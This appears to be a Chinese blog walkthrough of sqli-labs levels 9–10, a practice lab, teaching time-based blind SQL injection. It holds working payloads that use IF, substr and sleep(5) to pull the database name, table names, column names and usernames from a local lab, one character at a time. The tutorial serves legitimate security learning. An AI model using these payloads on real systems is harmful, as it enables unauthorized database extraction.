【Less-9/10】盲注之时间盲注


一、知识铺垫

sql中的if表达式:

语法:IF( expr1 , expr2 , expr3 )

expr1 的值为 TRUE,则返回值为 expr2
expr1 的值为FALSE,则返回值为 expr3

SELECT IF(TRUE,1+1,1+2);
-> 2
 
SELECT IF(FALSE,1+1,1+2);
-> 3
 
SELECT IF(STRCMP("111","222"),"不相等","相等");
-> 不相等
二、时间盲注复现
1、测试注入点

测试发现sleep被带入数据库中执行。

http://localhost/sqli-labs/Less-9?id=1' and sleep(5) -- +

在这里插入图片描述
发现明显延迟,证明是时间盲注,然后就可以构造我们的payload

?id=1' and if(substr(database(),1,1)=‘s’,sleep(5),null) -- +

通过一个if语句让数据库名称的第一个字符与e进行比较,如果一样就会暂停五秒,如果不等于就为假不暂停。然后就慢慢进行尝试

2、爆表名
http://localhost/sqli-labs/Less-9?id=1' and  if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e',sleep(5),1) -- +

在这里插入图片描述

3、爆列名
http://localhost/sqli-labs/Less-9?id=1' and  if(substr((select column_name from information_schema.columns where table_name='users' and table_schema='security' limit 0,1),1,1)='i',sleep(5),1)  -- +

在这里插入图片描述

4、爆内容
http://localhost/sqli-labs/Less-9?id=1' and if(substr((select username from users limit 0,1),1,1)='D' ,sleep(5),1) -- +

在这里插入图片描述
也可以通过python脚本批量测试,根据页面的响应时长判断sql是否执行。

第十关也是时间盲注把单引号换成双引号即可。

参考文章:

https://www.cnblogs.com/Xy–1/p/12726288.html

https://blog.csdn.net/qq_36850813/article/details/80449860

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

多学点技术

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值